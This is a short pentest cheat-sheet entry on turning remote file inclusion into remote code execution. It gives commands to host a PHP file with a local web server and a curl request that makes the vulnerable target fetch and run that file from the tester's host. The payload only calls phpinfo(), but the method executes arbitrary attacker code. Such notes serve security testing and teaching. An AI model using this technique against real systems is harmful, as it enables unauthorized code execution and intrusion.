RFI to RCE

Theory

Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external ressources. The goal is to exploit the referencing function in an application to upload malware (e.g., backdoor shells) from a remote URL located within a different domain.

Practice

We can host an arbitrary PHP code and access it through the HTTP protocol

# Create phpinfo.php
echo '<?php phpinfo(); ?>' > phpinfo.php

# Start a web server
python3 -m http.server 80

# Exploit the RFI to fetch the remote phpinfo.php file
curl '$URL/?parameter=http://tester.server/phpinfo.php'

References

Last updated